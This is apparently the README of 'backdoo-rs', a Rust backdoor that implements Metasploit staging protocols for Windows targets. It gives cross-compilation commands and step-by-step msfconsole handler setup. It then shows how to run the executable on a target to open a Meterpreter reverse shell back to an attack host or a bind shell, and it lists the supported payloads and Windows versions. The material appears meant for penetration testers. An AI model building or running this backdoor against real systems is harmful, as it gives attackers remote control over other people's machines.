"Launch the Polaris
The end doesn't scare us
When will this cease?
The warheads will all rust in peace"-- Megadeth, Rust in Peace... Polaris (1990)
Minimalistic Rust implementation of the main staging protocols used by the Metasploit Framework.
Start an exploit/multi/handler
instance on the attack box configured to handle one of the supported
payloads, run backdoo-rs.exe
on the target Windows system, and enjoy your session!
Blog post:
https://security.humanativaspa.it/learning-rust-for-fun-and-backdoo-rs
See also:
https://github.com/0xdea/tactical-exploitation/blob/master/letmein.py
https://github.com/0xdea/tactical-exploitation/blob/master/letmein.ps1
https://github.com/0xdea/tactical-exploitation/blob/master/letme.go
[macOS example]
$ brew install mingw-w64
$ rustup target add x86_64-pc-windows-gnu
$ cargo build --release --target x86_64-pc-windows-gnu
C:\> backdoo-rs.exe [:port | host:port]
Reverse shell:
[on the attack box]
$ msfconsole
msf > use exploit/multi/handler
msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf > set LHOST 192.168.0.66
msf > exploit
[on the target box]
C:\> backdoo-rs.exe 192.168.0.66:4444
Bind shell:
[on the target box]
C:\> backdoo-rs.exe :4444
[on the attack box]
$ msfconsole
msf > use exploit/multi/handler
msf > set PAYLOAD windows/x64/meterpreter/bind_tcp
msf > set RHOST 192.168.0.20
msf > exploit
- windows/x64/meterpreter/reverse_tcp
- windows/x64/meterpreter/bind_tcp
- Microsoft Windows 10
- Microsoft Windows 11
- Microsoft Windows Server 2016
- Microsoft Windows Server 2019
- Microsoft Windows Server 2022